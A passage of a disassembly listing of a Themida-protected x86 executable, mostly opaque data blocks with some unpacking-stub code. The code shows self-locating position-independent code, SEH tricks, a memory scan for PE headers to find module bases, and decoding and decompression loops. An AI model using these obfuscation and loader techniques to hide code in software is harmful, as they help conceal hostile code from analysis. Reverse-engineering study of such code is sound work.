7FFE03h, 2 dup(0) dd 0EE000000h, 0FFFFFDh, 6 dup(0) dd 0F5000000h, 0FDB8Ah, 0 dd 0A3004000h, 0CDA680h, 0 dd 0F0000000h, 5B08h, 92000000h, 4009F22h, 877FFE03h, 5793h dd 2 dup(0) dd 0FC000000h, 0E0001280h, 12FFh, 0CA000000h, 200ADB1h dd 5752h, 0E9000000h, 127h, 3 dup(0) dd 0E5000000h, 681935CCh, 9EB1h, 0Bh dup(0) dd 0FF000000h, 0A9DF30h, 4 dup(0) dd 0DB025900h, 53D4h, 0 dd 4000000h, 7FFE03h, 0Dh dup(0) dd 21000000h, 212121h, 0 dd 95000000h, 56FCh, 4 dup(0) dd 0E9000000h, 2200020Eh, 22222222h, 0F4222222h, 6Dh, 81h dup(0) dd 0F2000000h, 12FEh, 3 dup(0) dd 0D4000000h, 0F0279Fh, 30000000h, 3, 8 dup(0) dd 4000000h, 7FFE03h, 5 dup(0) dd 54000000h, 0FF5E64h, 4 dup(0) dd 35000000h, 3C5BAFh, 7 dup(0) dd 0F8000000h, 0FA0003F9h, 56F9h, 13h dup(0) dd 1000000h, 3 dup(0) dd 41000000h, 5761h, 90000000h, 5 dup(0) dd 0F7000000h, 9F09h, 0 dd 8D000000h, 581Bh, 2 dup(0) dd 0A4000000h, 12FFh, 0E7000000h, 0A3A5h, 0E8000000h, 13h dd 2 dup(0) dd 4000000h, 7FFE03h, 2 dup(0) dd 5C000000h, 0A015h, 0 dd 0FF000000h, 1CF77h, 2 dup(0) dd 44000000h, 40822Ch, 2 dup(0) dd 4000000h, 7FFE03h, 2 dup(0) dd 56000000h, 64009FFAh, 0A015h, 0Ah dup(0) dd 39000000h, 4 dup(0) dd 99000000h, 9F94h, 0 dd 34000000h, 59F8h, 0 dd 1C00h, 2 dup(0) dd 9A000000h, 2477F7B3h, 242424h, 0C4000000h, 0 dd 1000000h, 0Bh dup(0) dd 0E9000000h, 585Ah, 6 dup(0) dd 1000000h, 0 dd 40000000h, 221h, 27h dup(0) dd 0D6000000h, 6B3C3Dh, 0F9000000h, 701706h, 60000000h dd 0 dd 6000000h, 50h, 25800h, 0 dd 4000000h, 26000000h, 50130Ch, 0 dd 60000000h, 50006Ah, 0 dd 0B000000h, 77F518h, 0 dd 34000000h, 0A1B1h, 2 dup(0) dd 21000000h, 0D70FCCA9h, 0F4005770h, 0AFFFFA3h, 9F8Ch dd 0Bh dup(0) dd 0F4000000h, 0FFFFA3h, 7 dup(0) dd 6A000000h, 0F77D4C9h, 9FA0h, 4 dup(0) dd 69000000h, 0B9005855h, 5AFBh, 0FFFA5544h, 0FFFFFFh dd 2 dup(0) dd 3B000000h, 359E22h, 9 dup(0) dd 0BD000000h, 323803h, 5 dup(0) dd 7B000000h, 5912h, 0 dd 63000000h, 77E779h, 11000000h, 111111h, 6 dup(0) dd 37000000h, 53DBh, 0 dd 6000000h, 3377E6D7h, 5762h, 0Ch dup(0) dd 0C4000000h, 9F70h, 0 dd 0D0000000h, 0FFFF9Bh, 7 dup(0) dd 0CA000000h, 0ADB1h, 2 dup(0) dd 41000000h, 1005761h, 2 dup(0) dd 7A77E600h, 0C9h, 3 dup(0) dd 2000000h, 0F000000h, 5401h, 4 dup(0) dd 0E000000h, 2020Eh, 0 dd 0C000000h, 7FFA09h, 5 dup(0) dd 1000000h, 600h, 0 dd 0B2000000h, 5943h, 5 dup(0) dd 24000000h, 0D5B47Bh, 9 dup(0) dd 2000000h, 0Fh dup(0) dd 4000000h, 7FFE03h, 2 dup(0) dd 54000000h, 9ED5h, 8 dup(0) dd 4000000h, 7FFE03h, 2 dup(0) dd 5000000h, 0DD77662Dh, 0FFA8FFh, 0 dd 1000000h, 0 dd 20000000h, 10h, 0BF00h, 3 dup(0) dd 0A3000000h, 723D96h, 2 dup(0) dd 73000000h, 0C5BFE6D0h, 5CFFA3h, 4 dup(0) dd 1000000h, 9 dup(0) dd 0B8000000h, 5FC96A83h, 0D20053C7h, 5676h, 4 dup(0) dd 0E5000000h, 6EFFFFDAh, 0A8005B60h, 4EEF91h, 0 dd 52000000h, 61747365h, 70417472h, 78652E70h, 33000065h dd 5762h, 0FF000000h, 2FFFFFFh, 5752h, 2D000000h, 56h dd 41000000h, 5761h, 2E000000h, 1009F5Eh, 0Ah dup(0) dd 17000000h, 5 dup(0) dd 0AC000000h, 2300A19Bh, 5700h, 6 dup(0) dd 0E4000000h, 0DD000000h, 14009F69h, 56FAh, 4 dup(0) dd 0BC000000h, 0B8AC18h, 0 dd 0A000000h, 9F8Ch, 0 dd 4C000000h, 14h, 18000000h, 77E806h, 2 dup(0) dd 4010h, 68000000h, 0C477E821h, 8247FB8Ch, 0CC005B5Dh dd 0Ch dup(0) dd 45000000h, 9F31h, 4 dup(0) dd 7A000000h, 260943h, 2 dup(0) dd 0E5000000h, 595Ch, 0BB000000h, 511ACFh, 0 dd 22000000h, 5A58h, 0 dd 4000000h, 7FFE03h, 14000000h, 8CFFA7A5h, 0 dd 7D000000h, 0AFC24Ah, 0 dd 4000000h, 7FFE03h, 3 dup(0) dd 0DF000000h, 0A9C530h, 2 dup(0) dd 74000000h, 5374h, 3 dup(0) dd 4000000h, 7FFE03h, 1000000h, 4000000h, 0A87FFE03h, 20A719h dd 3 dup(0) dd 400h, 0CC000000h, 77DD5Eh, 2 dup(88000000h), 533Eh dd 4 dup(0) dd 0AC000000h, 0 dd 54000000h, 0FFFF96h, 53000000h, 4005761h, 947FFE03h dd 5A40h, 0 dd 1000000h, 0F000000h, 9FA0h, 4 dup(0) dd 17000010h, 0FFFDF1h, 7 dup(0) dd 79000000h, 0FFA86Ch, 0 dd 0BD000000h, 56FCh, 8 dup(0) dd 24000h, 2 dup(0) dd 64000000h, 0E0191Ch, 4 dup(0) dd 0C6000000h, 59F8h, 2 dup(0) dd 57000000h, 65h, 2 dup(0) dd 29000000h, 0FFA88Fh, 0Ch dup(0) dd 17000000h, 12C8h, 0AA000000h, 0FA4FC6h, 30000000h, 753D85D6h dd 0FFAC1Dh, 0B7000000h, 1036B8h, 9 dup(0) dd 2000000h, 6 dup(0) dd 10000000h, 0B82A4849h, 0 dd 374C00Bh, 8B0018C2h, 530C2444h, 0E8h, 0C3815B00h, 17h dd 10245C89h, 14244489h, 0A037B85Bh, 0E0FF009Fh, 424448Bh dd 0E0FFh, 15h dup(0) dd 4B000000h, 5889h, 3 dup(0) dd 0A4000000h, 12FFh, 5 dup(0) dd 0C0000000h, 0 dd 0C1000000h, 57347C68h, 5C21CFh, 3 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53FA8F: ; CODE XREF: start:loc_53C6AAj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 64433EFh mov [ebp+6440929h], edx mov [ebp+6442BB5h], esi mov [ebp+6441A91h], eax cmp dword ptr [ebp+64413C1h], 0 jz short loc_53FAC7 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_53FAC7: ; CODE XREF: start+61AA5j mov eax, [esp+40h+var_1C] mov [ebp+6441085h], eax push 45h call sub_53FB7B push 783749Ah call sub_53FBC1 push 0A894B25h call sub_53FBC1 jmp loc_53FD05 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h, 46h, 47h dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 2 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53FB7B proc near ; CODE XREF: start+61ABFp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 64434DDh mov ebx, edx mov [ebp+var_28], 0 loc_53FB97: ; CODE XREF: sub_53FB7B+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_53FBB6 mov eax, [ebp+arg_0] mov [ebx+6443447h], eax inc [ebp+arg_0] inc ebx jmp short loc_53FB97 ; --------------------------------------------------------------------------- loc_53FBB6: ; CODE XREF: sub_53FB7B+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_53FB7B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53FBC1 proc near ; CODE XREF: start+61AC9p start+61AD3p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 6443526h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_53FBE7: ; CODE XREF: sub_53FBC1+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_53FBE7 mov [ebp+var_84], 0 lea edi, [edx+6443447h] lea esi, [ebp+var_80] loc_53FC17: ; CODE XREF: sub_53FBC1+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_53FC23: ; CODE XREF: sub_53FBC1+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_53FC23 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_53FC17 popa leave retn 4 sub_53FBC1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_53FC61 ; --------------------------------------------------------------------------- loc_53FC5D: ; CODE XREF: Themida_:0053FC64j inc dword ptr [ebp-4] inc esi loc_53FC61: ; CODE XREF: Themida_:0053FC5Bj cmp byte ptr [esi], 0 jnz short loc_53FC5D mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_53FCF2 ; --------------------------------------------------------------------------- loc_53FC73: ; CODE XREF: Themida_:0053FCF5j mov dword ptr [ebp-8], 0 jmp short loc_53FCE9 ; --------------------------------------------------------------------------- loc_53FC7C: ; CODE XREF: Themida_:0053FCEDj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_53FCD6 ; --------------------------------------------------------------------------- loc_53FC8C: ; CODE XREF: Themida_:0053FCDAj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_53FCAE cmp bl, 39h ja short loc_53FCAE sub bl, 30h jmp short loc_53FCD0 ; --------------------------------------------------------------------------- loc_53FCAE: ; CODE XREF: Themida_:0053FCA2j ; Themida_:0053FCA7j cmp bl, 61h jb short loc_53FCC0 cmp bl, 66h ja short loc_53FCC0 sub bl, 61h add bl, 0Ah jmp short loc_53FCD0 ; --------------------------------------------------------------------------- loc_53FCC0: ; CODE XREF: Themida_:0053FCB1j ; Themida_:0053FCB6j cmp bl, 41h jb short loc_53FCD0 cmp bl, 46h ja short loc_53FCD0 sub bl, 41h add bl, 0Ah loc_53FCD0: ; CODE XREF: Themida_:0053FCACj ; Themida_:0053FCBEj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_53FCD6: ; CODE XREF: Themida_:0053FC8Aj cmp dword ptr [ebp-0Ch], 2 jb short loc_53FC8C cmp dword ptr [ebp-10h], 0 jbe short loc_53FCE6 mov eax, [ebp-10h] stosb loc_53FCE6: ; CODE XREF: Themida_:0053FCE0j inc dword ptr [ebp-8] loc_53FCE9: ; CODE XREF: Themida_:0053FC7Aj cmp dword ptr [ebp-8], 2 jb short loc_53FC7C add edx, 4 loc_53FCF2: ; CODE XREF: Themida_:0053FC71j cmp edx, [ebp-4] jb loc_53FC73 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53FD05: ; CODE XREF: start+61AD8j mov ecx, 7000h lea edi, [ebp+644366Ch] loc_53FD10: ; CODE XREF: start+61D00j dec byte ptr [edi] inc edi dec ecx jnz short loc_53FD10 mov eax, 48692121h mov edx, 0F00DE000h sub edx, 0F0000000h lea eax, [ebp+6443745h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax jns loc_53FD4C xor bx, 1966h loc_53FD4C: ; CODE XREF: start+61D2Dj or ebx, 597F47FCh sub eax, edx mov ebx, 3BC74BDDh and eax, 0FFFFF000h mov bx, 5866h mov ecx, edx xor edi, edi loc_53FD66: ; CODE XREF: start+61D6Dj cmp word ptr [eax], 5A4Dh jnz short loc_53FD7B movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_53FD83 loc_53FD7B: ; CODE XREF: start+61D57j sub eax, 1000h inc edi jmp short loc_53FD66 ; --------------------------------------------------------------------------- loc_53FD83: ; CODE XREF: start+61D65j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+6443758h] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_53FDBD mov esi, [eax+1Ch] loc_53FDBD: ; CODE XREF: start+61DA4j xor eax, eax loc_53FDBF: ; CODE XREF: start+61DBEj cmp eax, 32h jz short loc_53FDE3 cmp word ptr [esi], 5A4Dh jz short loc_53FDD4 loc_53FDCB: ; CODE XREF: start+61DCDj sub esi, 10000h inc eax jmp short loc_53FDBF ; --------------------------------------------------------------------------- loc_53FDD4: ; CODE XREF: start+61DB5j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_53FE25 jmp short loc_53FDCB ; --------------------------------------------------------------------------- loc_53FDE3: ; CODE XREF: start+61DAEj pop large dword ptr fs:0 add esp, 4 popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 51h dd 10244C8Bh, 0B0A981h, 10000000h, 33590000h, 8B51C3C0h dd 5510244Ch, 0E8h, 0ED815D00h, 6443763h, 3721858Dh, 81890644h dd 0B8h, 0C033595Dh db 0C3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53FE25: ; CODE XREF: start+61DCBj xchg eax, esi pop large dword ptr fs:0 add esp, 4 push 0 push ecx call sub_53FE3B and [ecx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_53FE3B proc near ; CODE XREF: start+61E1Fp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_53FE3B endp ; --------------------------------------------------------------------------- db 0F6h dd 8D95BB6Eh, 860F0B93h, 5, 2525BBh, 12E825h, 3C380000h dd 9E51DF6Bh, 0D7F7AD4h, 0AE635A1Ch, 0DA5390F8h, 665BFD8Ah dd 8A0FD98Ch, 1, 4E180FCh, 0C90AD98Bh, 47850Fh, 840F0000h dd 3, 0FCD88B66h, 2F1185C7h, 10644h, 0DB800000h, 0D08060C3h dd 0C6E68082h, 33E961h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 4582BFC3h, 0B70F8456h dd 1185C7D8h, 6442Fh, 81000000h, 8D8BCAC3h, 7D858957h dd 0F06442Dh, 18Ah, 8589F500h, 64417E9h, 12E8h, 0B52A7500h dd 5A6E3A9Ah, 3AA3DFEDh, 60A666FDh, 66FE3D8Fh, 605EDF8Bh dd 7DF28166h, 5A506050h, 80BBB966h, 0C6816161h, 6C15h dd 0B77CBFF5h, 0C78176F5h, 890A634Dh, 0C9CFF3BBh, 80068B4Bh dd 0F08158D9h, 551575C1h, 3820Fh, 8B660000h, 5BC081DFh dd 0BA057387h, 353F8618h, 4228E881h, 8B661A4Dh, 0CB8150D0h dd 33DB4B5Dh, 0B966068Fh, 0EE83AF0Ch, 1A8E0F04h, 0E8000000h dd 13h, 0E35307B9h, 924F3E27h, 6629F4CFh, 2229982Ah, 0F8C7E224h dd 1EF835Bh, 26850Fh, 0AE90000h, 46000000h, 0CD39C7D2h dd 0D4A7C270h, 44E91Dh, 73C00000h, 0BFFB94F6h, 5BBC477Dh dd 0DCEB8D05h, 5BE4A752h, 188C0Fh, 13E90000h, 17000000h dd 5BBE5A99h, 502012AFh, 88F49043h, 5D46B6DAh, 56E9CA1Ch dd 1DFFFFFFh, 0B3B77DEFh, 0CB6A0AB4h, 0E9CCEE76h, 11E809B0h dd 14000000h, 949A277Fh, 96CB4AEFh, 0F54A1919h, 0D91B47A2h dd 8A0Fh, 0F580000h, 489h, 0EF8A5100h, 94C08159h, 81000070h dd 8934AC2h, 1BEBBF62h, 8E80000h, 36000000h, 0A60C207Eh dd 0E917E6FEh, 13h, 0A109449Bh, 98B052E7h, 0EAAE658Fh dd 0E0F448C6h, 5E0931DCh, 0E853188Bh, 0Fh, 0B0B4619Fh dd 7B45196Ah, 0EBA16578h, 66D94C90h, 5A59D68Bh, 49A9EB81h dd 81667B62h, 81D4AEF2h, 2A2ABEC3h, 81D08A0Bh, 489B28EBh dd 7FCBE77h, 0E85333B6h, 0Ah, 996FB8Dh, 173FF3h, 0BE5684F3h dd 4AECCA3Bh, 8F595Eh, 0AE9h, 26561700h, 0D0700B22h, 83FDFBE2h dd 0F6004E8h, 689h, 8A0F00h, 0E9000000h, 0Ch, 9C7E7AEDh dd 0D9E5B96Ch, 323B2F11h, 1EF8361h, 0FF72850Fh, 9ABEFFFFh dd 0E977F7B3h, 6B4h, 217FCh, 100h, 0F500h, 15810Fh, 10E90000h dd 0A6000000h, 1CCB48E3h, 7840FEF8h, 0FB67C770h, 6026C680h dd 9D896060h, 6441799h, 66615F57h, 2B61C38Bh, 0D99D89C0h dd 8B06442Bh, 9282454h, 441EF1B5h, 0F9858906h, 60064419h dd 5E9h, 32D0A000h, 0BE6142FFh, 3Ch, 23D58589h, 74030644h dd 0B5092424h, 6440C85h, 9918589h, 0AD660644h, 12E960h dd 0AD290000h, 0C4E6894h, 99F4FF14h, 795056C9h, 0E7AC3129h dd 2C119D89h, 3610644h, 29242444h, 4431518Dh, 8B605006h dd 525060D0h, 585A310Fh, 310F5250h, 6161585Ah, 0E9240489h dd 7, 352129C9h, 8B4A619Dh, 85897840h, 6442ACDh, 28244403h dd 0EE9h, 2F34F700h, 0DC05C8A4h, 872927A4h, 8B9EC231h dd 0B5091840h, 6441F7Dh, 0BD0B6040h, 6443081h, 61FB8B66h dd 3A3F8589h, 8B600644h, 4430898Dh, 13E906h, 0EA0F0000h dd 429E17ADh, 3EF27B47h, 9837036Ch, 35E67CACh, 0F95861BCh dd 8978708Bh, 44190195h, 1CC68306h, 247403FCh, 0B98D0924h dd 8D064425h, 440E31BDh, 60ADF806h, 0CE9h, 1D449F00h, 59034EA9h dd 904CB9E5h, 440361A7h, 0BD892424h, 64425C5h, 0BE9h, 973AFD00h dd 38C3B962h, 736A02h, 42B660ABh, 0F56178B6h, 8C5BD8Dh dd 0B5010644h, 6443305h, 5D9D09ADh, 8906442Ch, 4403A985h dd 24440306h, 14E924h, 4F0B0000h, 6960F019h, 0CCDAFE32h dd 54ABACB5h, 2BB12FE7h, 95899C55h, 6440F75h, 0E9525050h dd 5, 25843EDAh, 0F310F2Ch, 689h, 820F00h, 5A000000h, 24048958h dd 2E018529h, 0F5AB0644h, 0D69BD8Dh, 0F5600644h, 19898D89h dd 0AD610644h, 1039B529h, 44030644h, 0AE92824h, 2A000000h dd 35B1B175h, 66A0362Dh, 8E86023h, 86000000h, 0E46218CFh dd 60B25D74h, 800F5861h, 6, 23E59D8Bh, 0AB610644h, 78F0Fh dd 890F0000h, 1, 860F5EFCh, 6, 2C6D9D31h, 8DFF0644h, 6443A3Fh dd 3A3FBD83h, 75000644h, 2444C710h, 1Ch, 0C6B58D00h, 0FF06443Eh dd 3AD56E6h, 97282444h, 858ADF8Bh, 64402E9h, 474C084h dd 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh, 0D18B49C9h dd 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h, 0D166EBD1h dd 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh, 0D333C833h dd 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h, 0F74D03Bh dd 4C6835Eh, 19F985FFh, 6FE90644h, 5EFFFFFFh, 11E9h, 0CD4F7F00h dd 0CF6957B6h, 0DA2D9145h, 0F506C799h, 8D0F4D16h, 6, 2D29BD89h dd 858B0644h, 64419F9h, 0FE0D1F5h, 78Eh, 1840F00h, 0F8000000h dd 0D698503h, 800F0644h, 6, 698D89h, 0BE0644h, 0F000000h dd 681h, 5852900h, 9606442Dh, 1AD66F5h, 441E25B5h, 2E0C106h dd 318503F8h, 8906440Eh, 441D559Dh, 95899606h, 6441BDDh dd 4C8BF9ADh, 66602424h, 2916D7B9h, 4421D585h, 44036106h dd 8A0F2424h, 6, 2EB59501h, 44890644h, 8D0F1C24h, 0Ah dd 5E9h, 589F8B00h, 0F96F46Dh, 0E84h, 0D0816000h, 50BF7053h dd 2FB99D2Bh, 0AC610644h, 10D5BD89h, 0C9320644h, 60C1FEF8h dd 52DBBF0Fh, 8AECBA66h, 0D0D0615Eh, 0D6830Fh, 0D0F90000h dd 0CD830FD0h, 89000000h, 44329DBDh, 0FD0D006h, 0BF82h dd 0FE86000h, 6B000000h, 0E25A756Dh, 3E1A466Dh, 6EA6BCC4h dd 0AE9630Eh, 0AA000000h, 9CE39AF4h, 34FF5483h, 54B858D7h dd 611BE3FBh, 1E51BD89h, 0D0D00644h, 86820Fh, 0AE90000h dd 3B000000h, 359352F0h, 53C812C7h, 0FC9FEF2h, 0FFFF9189h dd 0C483FCFFh, 44C7F920h, 0FC24h, 8D290000h, 644316Dh dd 1B8h, 0EE900h, 0D2500000h, 0DB20C3E1h, 0D796112Eh, 16DB6817h dd 733A8D8Dh, 0EE90644h, 57000000h, 67AD7AB2h, 0CB3E8B21h dd 0EBB09BFAh, 89E1FFD1h, 441969B5h, 1D8E0F06h, 0F000000h dd 1785h, 12E900h, 0E4740000h, 0B7A24556h, 6AA5D88Eh, 0AAD96CBCh dd 4DD75CD0h, 2E985C6h, 9000644h, 44001D95h, 8D896106h dd 6442561h, 600008C2h, 75BD8B60h, 0E906442Ah, 13h, 0F99A6AF3h dd 0F32CD6ECh, 0C9E68870h, 32D2B3D5h, 61C494F9h, 0A2BB6660h dd 0B1BD899Eh, 6106442Bh, 50609661h, 6E8h, 0C81B7800h dd 598F8FC2h, 3E71B85Fh, 5061038Ch, 8850Fh, 870F0000h dd 2, 60966160h, 118F0Fh, 0CE90000h, 84000000h, 50EA48ACh dd 1452232Dh, 0F0A3795h, 8961F3B7h, 4440C9B5h, 0BE906h dd 0B82A0000h, 0D8F588F5h, 5611E72h, 4830F6Bh, 60000000h dd 8961D68Bh, 4440E58Dh, 81666006h, 0B91859E7h, 4FC396AFh dd 61BD0961h, 8D064423h, 443FBAB5h, 7860F06h, 0F000000h dd 185h, 858DF800h, 5B7E35h, 263DBD89h dd 0D0FF0644h, 1031BD89h, 895E0644h, 4433A995h, 9529C306h dd 6442C25h, 40C9B58Bh, 8C0F0644h, 0Eh, 0B1B58960h, 31064433h dd 441DE995h, 8D8B6106h, 64440E5h, 18D0Fh, 0B8FC0000h dd 0 dd 1C91BD31h, 0D98B0644h, 0EE9h, 0E4BA1200h, 1AB5AA0Ch dd 0FABB880Bh, 0E954D3EBh, 0A8h, 24B99D01h, 26320644h dd 19860Fh, 89600000h, 44026995h, 0CE906h, 0D2040000h dd 7E1C510Dh, 1BB639CEh, 0B261C75Eh, 6890F02h, 29000000h dd 4432A585h, 48E906h, 0BD890000h, 6440CA9h, 9589C232h dd 64424A1h, 751D7A05h, 0CDB5898Ah, 8A064413h, 8960F8CCh dd 442E3585h, 69BD8906h, 6106442Ah, 35F5C8D3h, 98D10842h dd 9E9h, 2B260100h, 0F6E1AF40h, 0CAFE18FAh, 16859589h dd 0D20A0644h, 0FFB6850Fh, 9D31FFFFh, 6441E79h, 8AB2604Bh dd 0E6816660h, 0F8BF77B1h, 610A105Ch, 8D314661h, 6442249h dd 850FDB0Bh, 0FFFFFF56h, 68A0Fh, 9D890000h, 6442029h dd 0CDB589CFh, 6440Ch, 68B0F00h, 89000000h, 442B9195h dd 0F000006h, 68Fh, 95B52900h, 6442Bh, 0F500h, 0E59D8B60h dd 6106441Bh, 3A65858Dh, 85890644h, 6441F55h, 2A61B531h dd 85890644h, 6442D99h, 14E9h, 84C44600h, 6060F13Bh, 1E63CAF9h dd 87889760h, 0F7E537A6h, 0B858D90h, 0F906443Fh, 236D8589h dd 14EB0644h, 4 dup(0) dword_5407EC dd 8Bh, 41FE858Dh, 85890644h, 644240Dh, 413EBD83h, 0F000644h dd 12384h, 0E985C600h, 56064402h, 1AE3D068h, 2404817Fh dd 55048969h, 2D7DB5FFh, 858D0644h, 6443A65h, 8589D0FFh dd 6444132h, 2E985C6h, 0E8560644h, 4, 9CA8B852h, 24448B50h dd 89008B04h, 58042444h, 2D7DB5FFh, 858D0644h, 6443A65h dd 8589D0FFh, 6444136h, 6068046Ah, 81782A2Eh, 3E602434h dd 858B782Ah, 6444142h, 1F405h, 2E0C100h, 24048950h, 95FF006Ah dd 6444136h, 413A8589h, 0D88B0644h, 0FFFFFFB8h, 0D95FFFFh dd 8B064424h, 0D95FFC3h, 0E9064424h, 84h, 413EBD83h, 0F000644h dd 185h, 8B57C300h, 44413ABDh, 8583AB06h, 644413Ah, 83C35F04h dd 44413EBDh, 850F0006h, 1, 0AD8360C3h, 644413Ah, 3A9D8B04h dd 83064441h, 0FFFFC7Bh, 1D85h, 1C406800h, 4819867h, 9963C024h dd 0FF006A67h, 3295FF33h, 61064441h, 1DE9C3h, 96680000h dd 813ECDD2h, 52962434h, 6A3ECDh, 95FF33FFh, 6444132h dd 413AAD83h, 0E9040644h, 0FFFFFFB1h, 1ADE948h, 8B600000h dd 8B242474h, 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h dd 585h, 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h, 5 dd 1246168Ah, 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h dd 830FD212h, 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h dd 6840Fh, 2B570000h, 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h dd 1B8FFh, 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h dd 3485h, 1B900h, 0D2020000h, 5850Fh, 168A0000h, 13D21246h dd 0FD202C9h, 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h dd 5EA4F3F5h, 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh dd 830F0000h, 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h dd 5EA4F3F0h, 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h dd 0F78B5602h, 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h dd 840F01E8h, 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh dd 76E90000h, 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h dd 929h, 9D3E9h, 65CB2700h, 0D12AF446h, 0E8510EB5h, 0A928EEDh dd 0A2EA7C1Ch, 33DE518Dh, 354F39DBh, 3FCC30F8h, 65ED7A41h dd 0DD68FF4Bh, 0BA461CBDh, 0D809FBEh, 0CDA17359h, 39D421EEh dd 394E24CFh, 3DCC30AAh, 65EE7547h, 0C268E54Bh, 0BA5906A0h dd 169E83A0h, 0A6AF674Eh, 2E98158Dh, 745F24CBh, 288231F8h dd 65F86147h, 0C327E352h, 0B45908A0h, 63h dup(0) dd 65CB2700h, 0CD26FE4Fh, 0BA4606A6h, 1E9C94BDh, 0E7E27F4Eh dd 7CCB108Bh, 7B4E32CCh, 24CD23AAh, 37AA7046h, 0CD26FF57h dd 0F3140EBCh, 168AC6A3h, 0B4AF6C49h, 39CC029Ah, 182179C3h dd 30C729DAh, 65A6715Bh, 0CB24FF57h, 0F3140DB3h, 0B95C6B9h dd 0AAAF7353h, 2ED71C86h, 7B4A77D7h, 34D065EEh, 37EB605Bh dd 0CB31B156h, 0EA141BA7h, 0B9489BFh, 0A1735Dh, 48h dup(0) dd 65CB2700h, 0C729E341h, 0BD460CB9h, 1687C6BEh, 0AFAF7253h dd 3E980282h, 354532CBh, 3FD72AECh, 30F8344Ch, 0CA21FF4Ch dd 0F45D49B5h, 0C9C9FEDh, 0BEFC3E4Eh, 31DD0590h, 45265D80h dd 22C320E6h, 30AA384Dh, 0C527FD4Ch, 0EE5D49B6h, 168180EDh dd 0A2E23E51h, 25CA1E8Eh, 